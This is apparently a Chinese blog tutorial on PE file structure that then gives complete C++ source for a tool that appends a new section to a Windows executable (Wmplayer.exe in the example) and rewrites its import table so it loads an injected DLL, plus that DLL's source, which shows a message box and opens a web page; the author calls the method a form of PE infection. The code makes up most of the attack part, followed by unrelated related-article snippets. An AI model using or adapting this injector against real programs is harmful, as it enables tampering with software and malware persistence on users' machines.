劫持 PE 文件:新建节表并插入指定 DLL 文件

 PE格式简介

        PE(Portable Executable)格式,是微软Win32环境可移植可执行文件(如exe、dll、vxd、sys和vdm等)的标准文件格式。PE格式衍生于早期建立在VAX(R)VMS(R)上的COFF(Common Object File Format)文件格式。

        Portable 是指对于不同的Windows版本和不同的CPU类型上PE文件的格式是一样的,当然CPU不一样了,CPU指令的二进制编码是不一样的。只是文件中各种东西的布局是一样的。

        PE文件使用的是一个平面地址空间,所有代码和数据都合并在一起,组成一个很大的结构。主要有:

下面是一个简化的PE文件格式

简化PE文件格式

DOS MZ Header

PE Header

Section Table

Section 1

Section 2

...

Section n

Dos Mz head 和Dos stub和称Dos文件头,PE文件的第一个字节起始于MS-DOS头部,被称作IMAGE_DOS_HEADER.紧随Dos stub的是PE文件头(PE Header),PE Header是PE相关结构NT映像头(IMAGE_NT_HEADERS)的简称,其中包含许多PE装载器用到的重要字段。

1、入口点 Entry Point

2、文件偏移地址 File Offset

3、虚拟地址 Virtual Address 简称:VA

4、基地址 ImageBase

5、相对虚拟地址 Relative Virual Address 简称:RVA

公式: RVA (相对虚拟地址) =VA (虚拟地址) - ImageBase (基地址)

文件偏移地址和虚拟地址转换

在X86系统中,每个内存页的大小是4KB,即0X1000个字节。

文件偏移地址 File Offset = RVA (相对虚拟地址) 

文件偏移地址 File Offset = VA (虚拟地址) - ImageBase (基地址) 

  • PE具体结构图

pe格式的结构体定义可以在编译器的include文件夹里的winnt.h找到。

如下所示(经过简化的,具体的可以查看winnt.h,不同字长的结构,其实大体一样的)。

几个宏定义:

IMAGE_DOS_HEADER

typedef struct _IMAGE_DOS_HEADER

{

WORD e_magic; //魔术数字,所有MS-DOS兼容的可执行文件都将此值设为0X4D5A(MZ)

WORD e_cblp; //文件最后页的字节数

WORD e_cp; //文件页数

WORD e_crlc; //重定义元素个数

WORD e_cparhdr; //头部尺寸,以段落为单位

WORD e_minalloc; //所需的最小附加段

WORD e_maxalloc; //所需的最大附加段

WORD e_ss; //初始的SS值(相对偏移量)

WORD e_sp; //初始的SP值

WORD e_csum; //校验和

WORD e_ip; //初始的IP值

WORD e_cs; //初始的CS值(相对偏移量)

WORD e_lfarlc; //重分配表文件地址

WORD e_ovno; //覆盖号

WORD e_res[4]; //保留字

WORD e_oemid; //OEM标识符(相对e_oeminfo)

WORD e_oeminfo; //OEM信息

WORD e_res2[10]; //保留字

DWORD e_lfanew; //新exe头部的文件地址

}IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;

IMAGE_NT_HEADERS

#define IMAGE_NUMBEROF_DIRECTORY_ENTRIES 16

typedef struct IMAGE_NT_HEADERS

{

DWORD Signature;

IMAGE_FILE_HEADER FileHeader;

IMAGE_OPTIONAL_HEADER32 OptionalHeader;

}IMAGE_NT_HEADERS,*PIMAGE_NT_HEADERS;

typedef struct IMAGE_FILE_HEADER

{

WORD Machine;

WORD NumberOfSections;//节的数量

DWORD TimeDateStamp;

DWORD PointerToSymbols;

DWORD NumberOfSymbols;

WORD SizeOfOptionalHeader;

WORD Characteristics;

}IMAGE_FILE_HEADER,*PIMAGE_FILE_HEADER;

typedef struct IMAGE_OPTIONAL_HEADER32

{

WORD Magic;

BYTE MajorLinkerVersion;

BYTE MinorLinkerVersion;

DWORD SizeOfCode;

DWORD SizeOfInitializedData;

DWORD SizeOfUnInitializedData;

DWORD AddressOfEntryPoint;

DWORD BaseOfCode;

DWORD BaseOfData;

DWORD ImgaeBase;

DWORD SectionAlignment;

DWORD FileAlignment;

WORD MajorOperatingSystemVersion;

WORD MinorOperatingsystemversion;

WORD MajorImageVersion;

WORD MinorImageVersion;

WORD MajorSubsybtemVersion;

WORD MinorSubsybtemVersion;

DWORD Win32VersionValue;

DWORD SizeOfImage;

DWORD SizeoOfHeaders;

DWORD CheckSum;

WORD Subsystem;

WORD DllCharacteristics;

DWORD SizeOfStackReserve;

DWORD SizeOfStackCommit;

DWORD SizeOfHeapReserve;

DWORD SizeOfHeapCommit;

DWORD LoaderFlages;

DWORD NumberOfRvaAndSizes;

IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];

}IMAGE_OPTIONAL_HEADER32,*PIMAGE_OPTIONAL_HEADER32;

IMAGE_SECTION_HEADER

PE文件头后是节表,在winnt.h下如下定义

typedef struct _IMAGE_SECTION_HEADER

{

//IMAGE_SIZEOF_SHORT_NAME=8

BYTE Name[IMAGE_SIZEOF_SHORT_NAME];//节表名称,如".text"

union

{

DWORD PhysicalAddress;//物理地址

DWORD VirtualSize;//真实长度,这两个值是一个联合结构,可以使用其中的任何一个,//一般是节的数据大小

} Misc;

DWORD VirtualAddress;//RVA

DWORD SizeOfRawData;//物理长度

DWORD PointerToRawData;//节基于文件的偏移量

DWORD PointerToRelocations;//重定位的偏移

DWORD PointerToLinenumbers;//行号表的偏移

WORD NumberOfRelocations;//重定位项数目

WORD NumberOfLinenumbers;//行号表的数目

DWORD Characteristics;//节属性 如可读,可写,可执行等

} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;
typedef struct IMAGE_THUNK_DATA

{

union

{

DWORD ForwarderString;

DWORD Function;

DWORD Ordinal;

DWORD AddressOfData;

}u1;

}IMAGE_THUNK_DATA,*PIMAGE_THUNK_DATA;

typedef struct IMAGE_IMPORT_BY_NAME

{

WORD Hint;

BYTE Name;

}IMAGE_IMPORT_BY_NAME;

详细PE结构说明请查阅:

PE文件结构详解 --(完整版)icon-default.png?t=N7T8https://hupengcheng.blog.csdn.net/article/details/125847139?spm=1001.2101.3001.6650.5&utm_medium=distribute.pc_relevant.none-task-blog-2~default~BlogCommendFromBaidu~Rate-5-125847139-blog-92456577.235%5Ev40%5Epc_relevant_anti_t3_base&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2~default~BlogCommendFromBaidu~Rate-5-125847139-blog-92456577.235%5Ev40%5Epc_relevant_anti_t3_base&utm_relevant_index=10

 

  • 修改 PE 文件 IAT 注入

        通过以上的简单了解后,那么我们便进入正题。

        下面演示的这种方法其实是 PE 感染的一种,通过对目标程序添加一个新节并注入DLL,然后这会改变 PE 文件的大小,将原有的导入表复制到新节中,并添加自己的导入表描述符,最后将数据目录项中指向的导入表的入口指向新节。

        1、在目标 PE 文件中添加一个新节并映射 PE 文件,判断是否可以加一个新节,找到节的尾部,矫正偏移,对齐 RVA 填充新节 PIMAGE_SECTION_HEADER,修改IMAGE_NT_HEADERS,将新节添加到文件尾部。

        2、修改导入表:判断是否使用了绑定导入表,往新节中拷贝原导入表内容,继续构造新的导入表描述符 PIMAGE_IMPORT_DESCRIPTOR,构造IAT结构体 PIMAGE_THUNK_DATA,填充 PIMAGE_THUNK_DATA,将 PIMAGE_IMPORT_DESCRIPTOR 的 OriginalFirstThunk 和 FirstThunk 指向 PIMAGE_THUNK_DATA,name 指向 DllName,最后修改导入表的 VirtualAddress 指向新节。

IDT 结构:

        IDT 的描述在 IMAGE_OPTION_HEADER 里面的 IMPORT Table,通过 size 可以确定是否有足够的空间让我们添加。

        IDT 是由 IMAGE_IMPORT_DESCRIPTION (简称IID) 结构体组成的数组,数组末尾以NULL结构体结束。每个IID结构体为0x14字节所以这里IID区域为RVA。

废话不多……直接上代码。 

  • 现实代码 

 DLL:

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "stdafx.h"

extern "C"
{
	__declspec(dllexport) int Msg();
}

__declspec(dllexport) int Msg()
{
	system("start https://www.chwm.vip/?PEinject_v1.0");
	return 0;
}

DWORD WINAPI Thread(LPVOID LpParameter)
{
	char szPath[MAX_PATH] = { 0 };
	char szBuf[1024] = { 0 };
	GetModuleFileName(NULL, szPath, MAX_PATH);
	sprintf(szBuf, "DLL 已注入到进程\r\n%s\r\nProcessID\r\n%d\r\n", szPath, GetCurrentProcessId());
	MessageBox(NULL, szBuf, "DLL Inject", MB_OK);
	return 0;
}

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
					 )
{
	switch (ul_reason_for_call)
	{
	case DLL_PROCESS_ATTACH:
		CreateThread(NULL, 0, Thread, NULL, 0, NULL);
        Msg();
		break;
	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
	case DLL_PROCESS_DETACH:
		break;
	}
	return TRUE;
}

主程序:

// PEinject.cpp : 定义控制台应用程序的入口点。
//

#include "stdafx.h"
#include "PEinject.h"

#ifdef _DEBUG
#define new DEBUG_NEW
#endif

#define ERROR_MESSAGE(Msg) cout << Msg << endl;

 
// 唯一的应用程序对象

CWinApp theApp;

using namespace std;

 

BOOL    AddImportTable(const string& strTargetFile, const string& strInjectDllName, const string& strFunctionName);
BOOL    AddNewSection(const string& strTargetFile, ULONG ulNewSectionSize);
BOOL    AddNewImportDescriptor(const string& strTargetFile, const string& strInjectDllName, const string& strFunctionName);
DWORD   RVAToFOA(PIMAGE_NT_HEADERS pNtHeaders, DWORD dwRVA);
ULONG32 PEAlign(ULONG32 dwNumber, ULONG32 dwAlign);

 

BOOL AddImportTable(const string& strTargetFile, const string& strInjectDllName, const string& strFunctionName)
{
	BOOL bOk = false;
	try
	{
		bOk = AddNewSection(strTargetFile, 256);
		if (!bOk)
		{
			ERROR_MESSAGE("AddImportTable:AddNewSection failed.");
			return false;
		}

		bOk = AddNewImportDescriptor(strTargetFile, strInjectDllName, strFunctionName);
		if (!bOk)
		{
			ERROR_MESSAGE("AddImportTable:AddNewImportDescriptor failed.");
			return false;
		}
	}
	catch (exception* e)
	{
		ERROR_MESSAGE((string("AddImportTable:") + e->what()).c_str());
		return false;
	}

	return true;
}

BOOL AddNewSection(const string& strTargetFile, ULONG ulNewSectionSize)
{
	BOOL bOk = true;
	HANDLE TargetFileHandle = nullptr;
	HANDLE MappingHandle = nullptr;
	PVOID FileData = nullptr;

	try
	{
		// 打开文件
		TargetFileHandle = CreateFileA(strTargetFile.c_str(), GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
		if (TargetFileHandle == INVALID_HANDLE_VALUE)
		{
			ERROR_MESSAGE(string("AddNewSection:CreateFileA error with error code:" + GetLastError()).c_str());
			bOk = false;
			goto EXIT;
		}

		ULONG ulFileSize = GetFileSize(TargetFileHandle, NULL);

		// 映射文件
		MappingHandle = CreateFileMappingA(TargetFileHandle, NULL, PAGE_READWRITE, 0, ulFileSize, NULL);
		if (MappingHandle == NULL)
		{
			ERROR_MESSAGE(string("AddNewSection:CreateFileMapping error with error code:" + GetLastError()).c_str());
			bOk = false;
			goto EXIT;
		}

		// 得到缓存头
		FileData = MapViewOfFile(MappingHandle, FILE_MAP_ALL_ACCESS, 0, 0, ulFileSize);
		if (FileData == NULL)
		{
			ERROR_MESSAGE(string("AddNewSection:MapViewOfFile error with error code:" + GetLastError()).c_str());
			bOk = false;
			goto EXIT;
		}

		// 判断是否是PE文件
		if (((PIMAGE_DOS_HEADER)FileData)->e_magic != IMAGE_DOS_SIGNATURE)
		{
			ERROR_MESSAGE("AddNewSection:Target File is not a vaild file");
			bOk = false;
			goto EXIT;
		}

		PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((ULONG_PTR)FileData + ((PIMAGE_DOS_HEADER)FileData)->e_lfanew);
		if (pNtHeaders->Signature != IMAGE_NT_SIGNATURE)
		{
			ERROR_MESSAGE("AddNewSection:Target File is not a vaild file");
			bOk = false;
			goto EXIT;
		}

		// 判断是否可以增加一个新节
		if ((pNtHeaders->FileHeader.NumberOfSections + 1) * sizeof(IMAGE_SECTION_HEADER) > pNtHeaders->OptionalHeader.SizeOfHeaders/*三个部分的总大小*/)
		{
			ERROR_MESSAGE("AddNewSection:There is not enough space to add a new section.");
			bOk = false;
			goto EXIT;
		}

		// 得到新节的起始地址, 最后的起始地址
		PIMAGE_SECTION_HEADER pNewSectionHeader = (PIMAGE_SECTION_HEADER)(pNtHeaders + 1) + pNtHeaders->FileHeader.NumberOfSections;
		PIMAGE_SECTION_HEADER pLastSectionHeader = pNewSectionHeader - 1;

		// 对齐RVA和偏移
		DWORD FileSize = PEAlign(ulNewSectionSize, pNtHeaders->OptionalHeader.FileAlignment);
		DWORD FileOffset = PEAlign(pLastSectionHeader->PointerToRawData + pLastSectionHeader->SizeOfRawData, pNtHeaders->OptionalHeader.FileAlignment);
		DWORD VirtualSize = PEAlign(ulNewSectionSize, pNtHeaders->OptionalHeader.SectionAlignment);
		DWORD VirtualOffset = PEAlign(pLastSectionHeader->VirtualAddress + pLastSectionHeader->Misc.VirtualSize, pNtHeaders->OptionalHeader.SectionAlignment);

		// 填充新节表
		memcpy(pNewSectionHeader->Name, "00cfg", strlen("00cfg"));
		pNewSectionHeader->VirtualAddress = VirtualOffset;
		pNewSectionHeader->Misc.VirtualSize = VirtualSize;
		pNewSectionHeader->PointerToRawData = FileOffset;
		pNewSectionHeader->SizeOfRawData = FileSize;
		pNewSectionHeader->Characteristics = IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE;

		// 修改IMAGE_NT_HEADERS
		pNtHeaders->FileHeader.NumberOfSections++;
		pNtHeaders->OptionalHeader.SizeOfImage += VirtualSize;
		pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].Size = 0;            // 关闭绑定导入
		pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].VirtualAddress = 0;

		// 添加新节到文件尾部
		SetFilePointer(TargetFileHandle, 0, 0, FILE_END);
		PCHAR pNewSectionContent = new CHAR[FileSize];
		RtlZeroMemory(pNewSectionContent, FileSize);
		DWORD dwWrittenLength = 0;
		bOk = WriteFile(TargetFileHandle, pNewSectionContent, FileSize, &dwWrittenLength, nullptr);
		if (bOk == false)
		{
			ERROR_MESSAGE(string("AddNewSection:WriteFile error with error code:" + GetLastError()).c_str());
			bOk = false;
			goto EXIT;
		}
	}
	catch (exception* e)
	{
		ERROR_MESSAGE((string("AddNewSection:") + e->what()).c_str());
		bOk = false;
	}
EXIT:
	if (TargetFileHandle != NULL)
	{
		CloseHandle(TargetFileHandle);
		TargetFileHandle = nullptr;
	}
	if (FileData != NULL)
	{
		UnmapViewOfFile(FileData);
		FileData = nullptr;
	}
	if (MappingHandle != NULL)
	{
		CloseHandle(MappingHandle);
		MappingHandle = nullptr;
	}

	return bOk;
}

ULONG32 PEAlign(ULONG32 dwNumber, ULONG32 dwAlign)
{
	return(((dwNumber + dwAlign - 1) / dwAlign) * dwAlign);        //  想 dwAlign 对齐,加上 dwAlign - 1,这样就可以保证对齐后的值 >= dwNumber
}

BOOL AddNewImportDescriptor(const string& strTargetFile, const string& strInjectDllName, const string& strFunctionName)
{
	bool bOk = true;
	HANDLE TargetFileHandle = nullptr;
	HANDLE MappingHandle = nullptr;
	PVOID FileData = nullptr;
	PIMAGE_IMPORT_DESCRIPTOR pImportTable = nullptr;

	try
	{
		// 打开文件
		TargetFileHandle = CreateFileA(strTargetFile.c_str(), GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
		if (TargetFileHandle == INVALID_HANDLE_VALUE)
		{
			ERROR_MESSAGE(string("AddNewImportDescriptor:CreateFileA error with error code:" + GetLastError()).c_str());
			bOk = false;
			goto EXIT;
		}

		ULONG ulFileSize = GetFileSize(TargetFileHandle, NULL);

		// 映射文件
		MappingHandle = CreateFileMappingA(TargetFileHandle, NULL, PAGE_READWRITE, 0, ulFileSize, NULL);
		if (MappingHandle == NULL)
		{
			cout << "AddNewImportDescriptor:CreateFileMapping error with error code:" << std::to_string(GetLastError()).c_str();
			bOk = false;
			goto EXIT;
		}

		// 得到缓存头
		FileData = MapViewOfFile(MappingHandle, FILE_MAP_ALL_ACCESS, 0, 0, ulFileSize);
		if (FileData == NULL)
		{
			ERROR_MESSAGE(string("AddNewImportDescriptor:MapViewOfFile error with error code:" + GetLastError()).c_str());
			bOk = false;
			goto EXIT;
		}

		// 判断是否是PE文件
		if (((PIMAGE_DOS_HEADER)FileData)->e_magic != IMAGE_DOS_SIGNATURE)
		{
			ERROR_MESSAGE("AddNewImportDescriptor:Target File is not a vaild file");
			bOk = false;
			goto EXIT;
		}

		PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((ULONG_PTR)FileData + ((PIMAGE_DOS_HEADER)FileData)->e_lfanew);
		if (pNtHeaders->Signature != IMAGE_NT_SIGNATURE)
		{
			ERROR_MESSAGE("AddNewImportDescriptor:Target File is not a vaild file");
			bOk = false;
			goto EXIT;
		}

		// 得到原导入表
		pImportTable = (PIMAGE_IMPORT_DESCRIPTOR)((ULONG_PTR)FileData + RVAToFOA(pNtHeaders, pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress));

		// 判断是否使用了绑定导入表
		bool bBoundImport = false;
		if (pImportTable->Characteristics == 0 && pImportTable->FirstThunk != 0)
		{
			// 桥一为0 桥二不是0 说明使用了绑定导入表
			bBoundImport = true;
			pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].Size = 0;    // 关闭绑定导入
			pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].VirtualAddress = 0;
		}

		// 找到自己添加的新节
		PIMAGE_SECTION_HEADER pNewSectionHeader = (PIMAGE_SECTION_HEADER)(pNtHeaders + 1) + pNtHeaders->FileHeader.NumberOfSections - 1;
		PBYTE pNewSectionData = pNewSectionHeader->PointerToRawData + (PBYTE)FileData;
		PBYTE pNewImportDescriptor = pNewSectionData;

		// 往新节中拷贝原导入表内容
		int i = 0;
		while (pImportTable->FirstThunk != 0 || pImportTable->Characteristics != 0)
		{
			memcpy(pNewSectionData + i * sizeof(IMAGE_IMPORT_DESCRIPTOR), pImportTable, sizeof(IMAGE_IMPORT_DESCRIPTOR));
			pImportTable++;
			pNewImportDescriptor += sizeof(IMAGE_IMPORT_DESCRIPTOR);
			i++;
		}

		// 复制最后一个描述符
		memcpy(pNewImportDescriptor, pNewImportDescriptor - sizeof(IMAGE_IMPORT_DESCRIPTOR), sizeof(IMAGE_IMPORT_DESCRIPTOR));

		// 计算修正值
		DWORD dwDelt = pNewSectionHeader->VirtualAddress - pNewSectionHeader->PointerToRawData;

		// pNewImportDescriptor 当前指向要构造的新描述符 再空出一个空描述符作为导入表的结束符 所以是 2 *
		PIMAGE_THUNK_DATA pNewThunkData = PIMAGE_THUNK_DATA(pNewImportDescriptor + 2 * sizeof(IMAGE_IMPORT_DESCRIPTOR));
		PBYTE pszDllName = (PBYTE)(pNewThunkData + 2);
		memcpy(pszDllName, strInjectDllName.c_str(), strInjectDllName.length());
		// 确定 DllName 的位置
		pszDllName[strInjectDllName.length() + 1] = 0;
		// 确定 IMAGE_IMPORT_BY_NAM 的位置
		PIMAGE_IMPORT_BY_NAME pImportByName = (PIMAGE_IMPORT_BY_NAME)(pszDllName + strInjectDllName.length() + 1);
		// 初始化 IMAGE_THUNK_DATA
		pNewThunkData->u1.Ordinal = (DWORD_PTR)pImportByName - (DWORD_PTR)FileData + /*加上修正值 - 这里应该填充在内存中的地址*/dwDelt;
		// 初始化 IMAGE_IMPORT_BY_NAME
		pImportByName->Hint = 1;
		memcpy(pImportByName->Name, strFunctionName.c_str(), strFunctionName.length());
		pImportByName->Name[strFunctionName.length() + 1] = 0;
		// 初始化 PIMAGE_IMPORT_DESCRIPTOR
		if (bBoundImport)
		{
			((PIMAGE_IMPORT_DESCRIPTOR)pNewImportDescriptor)->OriginalFirstThunk = 0;
		}
		else
		{
			((PIMAGE_IMPORT_DESCRIPTOR)pNewImportDescriptor)->OriginalFirstThunk = dwDelt + (DWORD_PTR)pNewThunkData - (DWORD_PTR)FileData;
		}
		((PIMAGE_IMPORT_DESCRIPTOR)pNewImportDescriptor)->FirstThunk = dwDelt + (DWORD_PTR)pNewThunkData - (DWORD_PTR)FileData;
		((PIMAGE_IMPORT_DESCRIPTOR)pNewImportDescriptor)->Name = dwDelt + (DWORD_PTR)pszDllName - (DWORD_PTR)FileData;
		// 修改导入表入口
		pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress = pNewSectionHeader->VirtualAddress;
		pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size = (i + 1) * sizeof(IMAGE_IMPORT_DESCRIPTOR);
	}
	catch (exception* e)
	{
		ERROR_MESSAGE((string("AddNewImportDescriptor:") + e->what()).c_str());
		bOk = false;
	}

EXIT:
	{
		if (TargetFileHandle != NULL)
		{
			CloseHandle(TargetFileHandle);
			TargetFileHandle = nullptr;
		}

		if (FileData != NULL)
		{
			UnmapViewOfFile(FileData);
			FileData = nullptr;
		}

		if (MappingHandle != NULL)
		{
			CloseHandle(MappingHandle);
			MappingHandle = nullptr;
		}
	}

	return bOk;
}

PIMAGE_SECTION_HEADER GetOwnerSection(PIMAGE_NT_HEADERS pNTHeaders, DWORD dwRVA)
{
	int i;
	PIMAGE_SECTION_HEADER pSectionHeader = (PIMAGE_SECTION_HEADER)(pNTHeaders + 1);
	for (i = 0; i < pNTHeaders->FileHeader.NumberOfSections; i++)
	{
		if ((dwRVA >= (pSectionHeader + i)->VirtualAddress) && (dwRVA <= ((pSectionHeader + i)->VirtualAddress + (pSectionHeader + i)->SizeOfRawData)))
		{
			return ((PIMAGE_SECTION_HEADER)(pSectionHeader + i));
		}
	}
	return PIMAGE_SECTION_HEADER(NULL);
}

DWORD RVAToFOA(PIMAGE_NT_HEADERS pNTHeaders, DWORD dwRVA)
{
	DWORD _offset;
	PIMAGE_SECTION_HEADER section;
	// 找到偏移所在节
	section = GetOwnerSection(pNTHeaders, dwRVA);
	if (section == NULL)
	{
		return(0);
	}
	// 修正偏移
	_offset = dwRVA + section->PointerToRawData - section->VirtualAddress;
	return(_offset);
}

int main(int argc, char *argv[])
{
	AddImportTable("Wmplayer.exe", "TestDLL.dll", "Msg");

    system("start https://www.chwm.vip/?PEinject_v1.0");

	system("pause");

	return 0;
}
  • 效果演示:

修改前

修改后

 

运行效果

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/281418.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Baumer工业相机堡盟工业相机如何通过NEOAPI SDK获取相机当前实时帧率(C#)

Baumer工业相机堡盟工业相机如何通过NEOAPI SDK获取相机当前实时帧率&#xff08;C#&#xff09; Baumer工业相机Baumer工业相机的帧率的技术背景Baumer工业相机的帧率获取方式CameraExplorer如何查看相机帧率信息在NEOAPI SDK里通过函数获取相机帧率 Baumer工业相机通过NEOAPI…

Radar System Pro - Plug Play Solution

Radar System Pro是一款功能多样且可定制的资源,旨在通过功能齐全且易于使用的雷达系统增强您的Unity项目。无论您是在开发第一人称射击游戏、策略游戏还是太空探索模拟器,我们的雷达系统都将为您提供所需的工具,以创建引人入胜且身临其境的体验。 雷达系统是一个模块化资产…

开源可观测性平台Signoz(四)【链路监控及数据库中间件监控篇】

转载说明&#xff1a;如果您喜欢这篇文章并打算转载它&#xff0c;请私信作者取得授权。感谢您喜爱本文&#xff0c;请文明转载&#xff0c;谢谢。 前文链接&#xff1a; ​​开源可观测性平台Signoz系列&#xff08;一&#xff09;【开篇】​​ ​​开源可观测性平台Signoz&…

40道MyBatis面试题带答案(很全)

1. 什么是MyBatis &#xff08;1&#xff09;Mybatis是一个半ORM&#xff08;对象关系映射&#xff09;框架&#xff0c;它内部封装了JDBC&#xff0c;开发时只需要关注SQL语句本身&#xff0c;不需要花费精力去处理加载驱动、创建连接、创建statement等繁杂的过程。程序员直接…

前端vue uni-app使用Vue和ECharts构建交互式树形结构图

题目&#xff1a;使用Vue和ECharts构建交互式树形结构图 摘要&#xff1a;本文介绍了如何使用Vue.js和ECharts构建一个交互式的树形结构图。通过整合ECharts的强大可视化功能&#xff0c;我们创建了一个可拖拽移动、点击展开和收缩的树形结构图&#xff0c;并实现了无限添加子…

ROS学习记录:用C++实现对wpr_simulation软件包中机器人的运动控制

一、在工作空间下输入catkin_make进行编译 二、在工作空间中输入source ./devel/setup.bash后回车 三、机器人的运动控制在wpr_simulation中有一个例子程序&#xff0c;在工作空间中输入&#xff1a; roslaunch wpr_simulation wpb_simple.launch后回车 四、就会启动一个仿真环…

计算机毕业设计 基于HTML5+CSS3的在线英语阅读分级平台的设计与实现 Java实战项目 附源码+文档+视频讲解

博主介绍&#xff1a;✌从事软件开发10年之余&#xff0c;专注于Java技术领域、Python人工智能及数据挖掘、小程序项目开发和Android项目开发等。CSDN、掘金、华为云、InfoQ、阿里云等平台优质作者✌ &#x1f345;文末获取源码联系&#x1f345; &#x1f447;&#x1f3fb; 精…

【Maven】下载及配置

文章目录 1. 定义2. 下载3. 解压4. 配置环境变量5. 验证6. 特性 1. 定义 Maven 是一个跨平台的项目管理工具。作为 Apache 组织的一个颇为成功的开源项目&#xff0c;其主要服务于基于 Java 平台的项目创建&#xff0c;依赖管理和项目信息管理&#xff0c;是一个自动化构建工具…

HTML---利用CSS3制作网页动画

文章目录 目录 文章目录 本章目标 一.CSS3概述 CSS函数概述 二.CSS3变形 transform属性 translate()&#xff1a;平移函数 scale()&#xff1a;缩放函数 rotate()&#xff1a;旋转函数 skew()&#xff1a;倾斜函数 三.CSS3过渡 四.CSS动画 练习 旋转按钮 本章目标 会使用…

AJAX: 整理2:学习原生的AJAX,这边借助express框架

1. npm install express 终端直接安装 2. 测试案例&#xff1a;Hello World&#xff01; 新建一个express.js的文件&#xff0c;写入下方的内容 // 1. 引入express const express require(express)// 2. 创建服务器 const app express()// 3.创建路由规则 // request 是对请…

2023年全国网络安全行业职业技能大赛数据安全管理员操作技能赛题(样题)

2023年全国网络安全行业职业技能大赛数据安全管理员操作技能赛题(样题) 2023年全国网络安全行业职业技能大赛数据安全管理员操作技能赛题(样题) 第一部分&#xff1a;数据安全防护(30%) 第二部分&#xff1a;数据安全管理(30%) 第三部分&#xff1a;数据安全处置(40%) 项目介绍…

Python 中的 Iterable 和 Iterator(Iterable and Iterator in Python)

Python 中的 Iterable 和 Iterator(Iterable and Iterator in Python) 文章目录 Python 中的 Iterable 和 Iterator(Iterable and Iterator in Python)Introduction 导言Iterable VS Iterator为什么 Python 有这种特殊的设计special design?如何获取迭代器Iterator&#xff1f…

SpringCloud 和 Linux 八股文第三期五问五答

SpringCloud 和 Linux 八股文第三期五问五答 作者&#xff1a;程序员小白条&#xff0c;个人博客 相信看了本文后&#xff0c;对你的面试是有一定帮助的&#xff01; ⭐点赞⭐收藏⭐不迷路&#xff01;⭐ 1&#xff09;Linux常用命令 2&#xff09;如何查看测试项目的日志 一…

Docker (compose、安装、常用命令整理、compose编排) -day06

一、概念 Docker-Compose就是容器编排&#xff0c;负责实现对Docker容器集群的快速编排 Compose允许用户通过一个单独的docker-compose.yml模板文件&#xff08;YAML 格式&#xff09;来定义一组相关联的应用容器为一个项目&#xff08;project&#xff09;。 可以很容易地用一…

Python数值型字符串校验

从键盘输入一行字符串&#xff0c;编写Python代码判定字符串是python“合法”数值。 (笔记模板由python脚本于2023年12月25日 18:00:52创建&#xff0c;本篇笔记适合熟悉Python符串基本数据类型的coder翻阅) 【学习的细节是欢悦的历程】 Python 官网&#xff1a;https://www.py…

2023年终总结 —— 我和CSDN相遇的第一年之“技术学习和个人成长的回顾与展望”

​ ​ &#x1f308;个人主页: Aileen_0v0 &#x1f525;热门专栏: 华为鸿蒙系统学习|计算机网络|数据结构与算法 &#x1f4ab;个人格言:"没有罗马,那就自己创造罗马~" 目录 &#x1f38a;对2023的总结与回顾&#x1f38a; &#x1f3c5;获奖记录 &#x1f4da;学…

1、gdb基本功能

文章目录 1、gdb1.1、运行1.1.1、程序入参 1.2、断点及观察点1.2.1、设置断点1.2.2、禁用、删除断点1.2.3、观察点 1.3、打印1.3.1、设定打印参数1.3.2、打印数据1.3.3、自动打印1.3.4、按照地址打印 linux下我现在接触到的常用调试工具如下. gbdgdbguicmake-tools gdb是最为通…

SLAM学习入门--传统图像处理

文章目录 传统图像处理颜色空间高斯滤波腐蚀和膨胀开运算和闭运算如何求一张图片的均值&#xff1f;线性插值双线性插值仿射变换透视变换常见的边缘检测算子Sobel 算法Canny 算法Hough 变换原理&#xff08;直线和圆检测&#xff09;找轮廓&#xff08;findCountours&#xff0…

【网络安全 | Misc】Aesop_secret(ISCC)

正文 动态gif&#xff0c;使用工具进行分解&#xff1a; https://tu.sioe.cn/gj/fenjie/ 得到ISCC字样 由Winhex看到密文&#xff1a; U2FsdGVkX19QwGkcgD0fTjZxgijRzQOGbCWALh4sRDec2w6xsY/ux53Vuj/AMZBDJ87qyZL5kAf1fmAH4Oe13Iu435bfRBuZgHpnRjTBn5xsDHONiR3t0Oa8yG/tOKJMN…

故障诊断模型 | Maltab实现PSO-BP粒子群算法优化BP神经网络的故障诊断

文章目录 效果一览文章概述模型描述源码设计参考资料效果一览 文章概述 故障诊断模型 | Maltab实现PSO-BP粒子群算法优化BP神经网络的故障诊断 模型描述 在机器学习领域,我们常常需要通过训练数据来学习一个函数模型,以便在未知的数据上进行预测或分类。传统的神经网络模型需…